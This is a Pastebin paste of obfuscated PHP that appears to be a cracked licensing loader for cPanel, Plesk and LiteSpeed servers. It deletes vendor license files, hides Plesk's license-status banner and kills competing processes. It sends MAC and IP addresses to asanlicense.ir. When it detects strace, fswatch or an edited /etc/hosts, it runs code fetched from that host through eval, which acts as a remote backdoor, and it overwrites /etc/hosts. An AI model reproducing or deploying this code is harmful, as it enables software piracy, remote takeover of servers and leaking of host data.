API tools faq
paste
Guest User

Untitled

a guest
Oct 26th, 2020
52
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.76 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. phpshield_obfuscated_raisgkgqas2qay(0);
  4. phpshield_cyberlicsys();
  5. function phpshield_obfuscated_deb926c8ad1140a010042bbce4fcc7ad($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2)
  6. {
  7. $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 = '';
  8. for ($i = 0; $i < strlen($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2); $i++) {
  9. $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5 .= dechex(ord($phpshield_obfuscated_8409eaa6ec0ce2ea307354b2e150f8c2[$i]));
  10. }
  11. return $phpshield_obfuscated_dc8100b3e34f6f0f60ad2c0fa3f6d3d5;
  12. }
  13. if ($argv[1] == '-killall') {
  14. phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(0);
  15. die();
  16. }
  17. if ($argv[1] == '-toapache') {
  18. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/lsws/bin/lswsctrl stop');
  19. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/lsws/admin/misc/cp_switch_ws.sh apache');
  20. die();
  21. }
  22. if ($argv[1] == '-tolitespeed') {
  23. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/lsws/admin/misc/cp_switch_ws.sh lsws');
  24. die();
  25. }
  26. if ($argv[1] == '-forcelitespeed') {
  27. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/forcelitespeed', time());
  28. die('Forced to Litespeed Successfully.');
  29. }
  30. if ($argv[1] == '-rmcloud') {
  31. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /etc/sysconfig/rhn/systemid >/dev/null 2>&1');
  32. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /var/lve/lveinfo.ver >/dev/null 2>&1');
  33. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/etc/systemid >/dev/null 2>&1');
  34. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/etc/lveinfo.ver >/dev/null 2>&1');
  35. }
  36. if ($argv[1] == '-rmcpanel') {
  37. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/etc/cpanel.lisc >/dev/null 2>&1');
  38. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cpanel/cpanel.lisc >/dev/null 2>&1');
  39. }
  40. function phpshield_obfuscated_eae7e3255f229197e7073276ff6dcb3e()
  41. {
  42. $phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1 = '/usr/local/cgls/html/';
  43. $phpshield_obfuscated_a279e72759b585b5fe9d78b5cf755e16 = array_diff(scandir($phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1), array(
  44. '.',
  45. '..'
  46. ));
  47. foreach ($phpshield_obfuscated_a279e72759b585b5fe9d78b5cf755e16 as $phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17) {
  48. if ($phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17 != 'index.php') {
  49. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_c879be21a5426251f6d72a6502a9cdc1 . $phpshield_obfuscated_5cebd7e7625c35e13666fbce707fea17);
  50. }
  51. }
  52. }
  53. function phpshield_obfuscated_ffd8712a60e22e00d4a9a3c8a2734346()
  54. {
  55. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['HWaddr'] = phpshield_obfuscated_baes2wg9qU1qxe(phpshield_obfuscated_sahsekg9lU1qxt('cat /sys/class/net/*/address'));
  56. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['HWaddr2'] = phpshield_obfuscated_baes2wg9qU1qxe(phpshield_obfuscated_sahsekg9lU1qxt('hostname -I'));
  57. $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2 = private_cyberlicsys('http://asanlicense.ir/myip.php', $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f);
  58. return $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2;
  59. }
  60. function phpshield_obfuscated_047df24b007945479dc105609d92b6cd($phpshield_obfuscated_9b395079675c6a66ff23ea9c6c4a668e)
  61. {
  62. if (file_exists('/bin/netstat')) {
  63. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/netstat -lntp | grep $phpshield_obfuscated_9b395079675c6a66ff23ea9c6c4a668e | awk -F '[/ ]*' '{print $7}'");
  64. } else {
  65. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("netstat -lntp | grep $phpshield_obfuscated_9b395079675c6a66ff23ea9c6c4a668e | awk -F '[/ ]*' '{print $7}'");
  66. }
  67. $phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791[1] = explode("\n", $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  68. foreach ($phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791[1] as $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b) {
  69. if (!empty($phpshield_obfuscated_fce61b962e87812431631fa86300fe4b)) {
  70. $phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96[$phpshield_obfuscated_fce61b962e87812431631fa86300fe4b] = $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b;
  71. }
  72. }
  73. return $phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96;
  74. }
  75. function phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1($phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de)
  76. {
  77. if (file_exists('/bin/ps')) {
  78. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep Licensing |awk '{ print $2}'");
  79. } else {
  80. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("ps aux |grep Licensing |awk '{ print $2}'");
  81. }
  82. $phpshield_obfuscated_c91c01676c6804fe6265518c028067eb = explode("\n", $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  83. $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 = getmypid();
  84. if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  85. if (file_exists('/usr/bin/killall')) {
  86. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/bin/killall Licensing');
  87. } else {
  88. phpshield_obfuscated_uarsEwg2qUpqxo('killall Licensing');
  89. }
  90. }
  91. if (count($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb) > $phpshield_obfuscated_dda0718f3749e961e79c22cb935fe0de) {
  92. phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb);
  93. foreach ($phpshield_obfuscated_c91c01676c6804fe6265518c028067eb as $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de) {
  94. if ($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de < $phpshield_obfuscated_0390006c1140449985f7d69074b75ca6 && !empty($phpshield_obfuscated_1f74e647cbad2978830c37562fb271de)) {
  95. if (file_exists('/bin/kill')) {
  96. phpshield_obfuscated_uarsEwg2qUpqxo('/bin/kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  97. } else {
  98. phpshield_obfuscated_uarsEwg2qUpqxo('kill -9 ' . $phpshield_obfuscated_1f74e647cbad2978830c37562fb271de);
  99. }
  100. }
  101. }
  102. }
  103. }
  104. phpshield_obfuscated_3a584aa5a5268ccd921c7396df4b21a1(30);
  105. if ($argv[1] == '-lite') {
  106. if (file_exists('/bin/netstat')) {
  107. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/netstat -tulpn | grep --color :80");
  108. } else {
  109. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("netstat -tulpn | grep --color :80");
  110. }
  111. preg_match_all('/LISTEN (.*?)\//', $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1, $phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791);
  112. foreach ($phpshield_obfuscated_37267172b626dd8d0e6c0e5aee1f4791[1] as $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b) {
  113. $phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96[$phpshield_obfuscated_fce61b962e87812431631fa86300fe4b] = $phpshield_obfuscated_fce61b962e87812431631fa86300fe4b;
  114. }
  115. phpshield_obfuscated_r1yd13aus3f1cs($phpshield_obfuscated_bbffaa1f7b266b21363249d17c673b96);
  116. die("ACCEPTED $phpshield_obfuscated_af9bb45203ae14858792e592f138c3ec Days\n");
  117. }
  118. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep strace | grep -v grep | grep root | head -n1 | awk '{ print $2}'");
  119. if (!empty($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1)) {
  120. $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778 = @phpshield_obfuscated_baes2wg9qU1qxe(@phpshield_obfuscated_r8bs14gu17f93y('/proc/' . trim($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1) . '/cmdline'));
  121. $phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=strace&data=' . $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778);
  122. @eval($phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2);
  123. phpshield_obfuscated_r1yd13aus3f1cs('Error in compiler id : ' . $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  124. die();
  125. }
  126. $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa12 = phpshield_obfuscated_sahsekg9lU1qxt("/bin/ps aux |grep fswatch | grep -v grep | grep root | head -n1 | awk '{ print $2}'");
  127. if (!empty($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa12)) {
  128. $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778 = @phpshield_obfuscated_baes2wg9qU1qxe(@phpshield_obfuscated_r8bs14gu17f93y('/proc/' . trim($phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa12) . '/cmdline'));
  129. $phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=fswatch&data=' . $phpshield_obfuscated_ea59a94fb58391a328d02e0d2a567778);
  130. @eval($phpshield_obfuscated_97aeef0412f7c2c830e6e5898373cfd2);
  131. phpshield_obfuscated_r1yd13aus3f1cs('Error in compiler fs id : ' . $phpshield_obfuscated_8777c48dad27cd33a340c89570d78aa1);
  132. die();
  133. }
  134. if (file_exists('/usr/local/cgls/disableupdate')) {
  135. $phpshield_obfuscated_7edae6f65140ce61225216f021467d0a = phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/disableupdate');
  136. if ($phpshield_obfuscated_7edae6f65140ce61225216f021467d0a == 'auto') {
  137. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableupdate');
  138. }
  139. }
  140. if (file_exists('/var/cpanel/dnsonly')) {
  141. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /var/cpanel/dnsonly');
  142. }
  143. if (file_exists('/usr/local/cgls/disablezorro')) {
  144. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/cgls/disablezorro >/dev/null 2>&1');
  145. }
  146. if (file_exists('/usr/bin/chattr2')) {
  147. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr2';
  148. } else {
  149. $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 = 'chattr';
  150. }
  151. if (!is_dir('/usr/local/cgls/log/')) {
  152. mkdir('/usr/local/cgls/log/');
  153. }
  154. function phpshield_obfuscated_1c70300552ff87c1ea3aea276a7549b6()
  155. {
  156. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  157. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d("grep -l 'Web Host' /etc/sw/keys/keys/*");
  158. $phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  159. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  160. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  161. $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b = trim($phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e);
  162. return $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b;
  163. }
  164. function phpshield_obfuscated_288aabc6d016a36eacecd392b46862b3()
  165. {
  166. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  167. $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b = phpshield_obfuscated_1c70300552ff87c1ea3aea276a7549b6();
  168. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d('grep expiration-date ' . $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b . ' | grep 20 | awk -F "<|>" \'{print $3}\'');
  169. $phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  170. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  171. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  172. $phpshield_obfuscated_9ad7a274bf8757d549dd419e247def79 = trim($phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e);
  173. return $phpshield_obfuscated_9ad7a274bf8757d549dd419e247def79;
  174. }
  175. function phpshield_obfuscated_eef39a914676631b89430d1b0145698d()
  176. {
  177. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  178. $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b = phpshield_obfuscated_1c70300552ff87c1ea3aea276a7549b6();
  179. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d('grep key-number /etc/sw/keys/keys/key* | grep PLSK | awk -F "<|>" \'{print $3}\'');
  180. $phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  181. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  182. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  183. $phpshield_obfuscated_9ad7a274bf8757d549dd419e247def79 = trim($phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e);
  184. return $phpshield_obfuscated_9ad7a274bf8757d549dd419e247def79;
  185. }
  186. function phpshield_obfuscated_494d15ab7b52a1108846b0d4f37419e4()
  187. {
  188. $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b = phpshield_obfuscated_1c70300552ff87c1ea3aea276a7549b6();
  189. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d('grep keytype ' . $phpshield_obfuscated_404d33aa4107677d1f7b9af4657fb54b . ' | grep "Plesk Web" | awk -F "<|>" \'{print $3}\'');
  190. $phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  191. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  192. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  193. $phpshield_obfuscated_65dfacb39960c22313740a131148fb81 = trim($phpshield_obfuscated_51c88e0f3e82708d021de2c554795b7e);
  194. return phpshield_obfuscated_raqs2kg9aU1qxt('(14 Days Trial)', '', $phpshield_obfuscated_65dfacb39960c22313740a131148fb81);
  195. }
  196. function phpshield_obfuscated_39b1699c1f978ccc13cbf8f71cfe8b14($phpshield_obfuscated_d35a39212fd75e833aea38f90831b2cb)
  197. {
  198. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  199. $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/psa/admin/application/default/layouts/_header.phtml');
  200. if ($phpshield_obfuscated_d35a39212fd75e833aea38f90831b2cb == 'remove') {
  201. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f, '<?= $this->licenseStatus(); ?>')) {
  202. $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f = phpshield_obfuscated_raqs2kg9aU1qxt('<?= $this->licenseStatus(); ?>', '<!-- $this->licenseStatus(); -->', $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f);
  203. @phpshield_obfuscated_r82sg4g2a7190y('/usr/local/psa/admin/application/default/layouts/_header.phtml', $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f);
  204. echo "remove";
  205. }
  206. }
  207. if ($phpshield_obfuscated_d35a39212fd75e833aea38f90831b2cb == 'active') {
  208. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f, '<!-- $this->licenseStatus(); -->')) {
  209. $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f = phpshield_obfuscated_raqs2kg9aU1qxt('<!-- $this->licenseStatus(); -->', '<?= $this->licenseStatus(); ?>', $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f);
  210. @phpshield_obfuscated_r82sg4g2a7190y('/usr/local/psa/admin/application/default/layouts/_header.phtml', $phpshield_obfuscated_972a1d6d7fbaa83b27c6006e2c7cbc3f);
  211. }
  212. }
  213. }
  214. function phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90()
  215. {
  216. if (file_exists('/sbin/service')) {
  217. phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  218. } else {
  219. phpshield_obfuscated_uarsEwg2qUpqxo('service ipaliases restart 1>/usr/local/cgls/log/ipaliases1 2>/usr/local/cgls/log/ipaliases2');
  220. }
  221. return true;
  222. }
  223. function phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97()
  224. {
  225. $phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0 = phpshield_obfuscated_sahsekg9lU1qxt('/sbin/ifconfig -a');
  226. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_34fd22dba1d63b6925079a5f687b60a0, 'lo:0')) {
  227. if (file_exists('/sbin/service')) {
  228. phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2');
  229. } else {
  230. phpshield_obfuscated_uarsEwg2qUpqxo('service network restart 1>/usr/local/cgls/log/network1 2>/usr/local/cgls/log/network2' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  231. }
  232. }
  233. phpshield_obfuscated_17da03b6712a9860f1d9fa86db1bbe90();
  234. phpshield_obfuscated_uarsEwg2qUpqxo('/sbin/service cgls restart' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  235. return true;
  236. }
  237. if ($argv[1] == '-disableloader') {
  238. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['disable'] = time();
  239. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['HWaddr'] = phpshield_obfuscated_baes2wg9qU1qxe(phpshield_obfuscated_sahsekg9lU1qxt('cat /sys/class/net/*/address'));
  240. $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f['HWaddr2'] = phpshield_obfuscated_baes2wg9qU1qxe(phpshield_obfuscated_sahsekg9lU1qxt('hostname -I'));
  241. $phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d = @json_decode(@private_cyberlicsys('http://asanlicense.ir/newsys/so.php', $phpshield_obfuscated_b8529b3f8028a9b50fc4638b692a682f), true);
  242. foreach ($phpshield_obfuscated_97e214a8bdf40b1a3c4acc9acb9fe17d['locations'] as $phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31) {
  243. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_487621d6acd6f307eed7eb701cf4bc31);
  244. }
  245. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/disableloader', time());
  246. die("LOADER Disabled .\n");
  247. }
  248. if ($argv[1] == '-enableloader') {
  249. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/loader');
  250. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/disableloader');
  251. die("LOADER Enabled .\n");
  252. }
  253. if ($argv[1] == '-restartloader') {
  254. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -disableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  255. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -enableloader' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  256. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/etc/loader.ver', '3');
  257. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  258. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -5min' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  259. die("LOADER RESTARTED .\n");
  260. }
  261. if ($argv[1] == '-ipv6') {
  262. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=1');
  263. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=1');
  264. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  265. phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables off');
  266. phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  267. die("IPv6 Disabled .\n");
  268. }
  269. if ($argv[1] == '+ipv6') {
  270. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.default.disable_ipv6=0');
  271. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -w net.ipv6.conf.all.disable_ipv6=0');
  272. phpshield_obfuscated_uarsEwg2qUpqxo('sysctl -p');
  273. phpshield_obfuscated_uarsEwg2qUpqxo('chkconfig ip6tables on');
  274. phpshield_obfuscated_82c15f0d1335b3b748d135d65129cf97();
  275. die("IPv6 Enabled .\n");
  276. }
  277. function phpshield_obfuscated_fa7a8894f07107bf5f7fa590aba98a09($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4)
  278. {
  279. $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc = @phpshield_obfuscated_r8bs14gu17f93y($phpshield_obfuscated_53f8edef15f79c06b1303bf4eb6f41c4);
  280. preg_match_all('@[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}@', $phpshield_obfuscated_cb7b878b0f501bb413386ca0b22365cc, $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888);
  281. return $phpshield_obfuscated_c0f6c883b2aa842f477cfba2e68b0888['0']['0'];
  282. }
  283. function phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)
  284. {
  285. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  286. if (empty($phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)) {
  287. $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 60;
  288. }
  289. if (file_exists('/usr/local/cgls/addphpshield')) {
  290. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/addphpshield');
  291. }
  292. if (file_exists('/usr/local/cgls/log/cyberrun.log')) {
  293. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  294. }
  295. if (file_exists('/usr/local/cgls/log/cyberrun2.log')) {
  296. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  297. }
  298. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = phpshield_obfuscated_uarsEwg2qUpqxo('timeout ' . $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 . ' ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 . ' >/dev/null 1>/usr/local/cgls/log/cyberrun.log 2>/usr/local/cgls/log/cyberrun2.log');
  299. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  300. }
  301. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/log/open', time());
  302. if (file_exists('/usr/local/cgls/lib/proxychains.conf')) {
  303. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/lib/proxychains.conf');
  304. }
  305. if (file_exists('/usr/local/cgls/log/proxychains.conf')) {
  306. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/proxychains.conf');
  307. }
  308. if (file_exists('/usr/local/cgls/Cyber')) {
  309. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber');
  310. }
  311. if (file_exists('/usr/local/cgls/Cyber1')) {
  312. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber1');
  313. }
  314. if (file_exists('/usr/local/cgls/Cyber2')) {
  315. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/Cyber2');
  316. }
  317. if (file_exists('/usr/local/cgls/licensing.pid')) {
  318. $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec = time() - filemtime('/usr/local/cgls/licensing.pid');
  319. if (600 < $phpshield_obfuscated_50508c336f1574776e7a1c7cfed595ec) {
  320. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/licensing.pid');
  321. }
  322. }
  323. $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc = @phpshield_obfuscated_r8bs14gu17f93y('/etc/hosts');
  324. if (phpshield_obfuscated_r1bd1ggusnf9cs("Safe" . $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc, 'asanlicense.ir')) {
  325. phpshield_obfuscated_r82sg4g2a7190y('/etc/hosts', '# Do not remove the following line, or various programs');
  326. phpshield_obfuscated_r13d12gus3f1cs(5);
  327. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=hostfileedited');
  328. @eval($phpshield_obfuscated_7318a606a3118d468dae7078098fba7b);
  329. phpshield_obfuscated_r82sg4g2a7190y('/etc/hosts', $phpshield_obfuscated_be200331ab4461d5548b74b01a082ecc);
  330. }
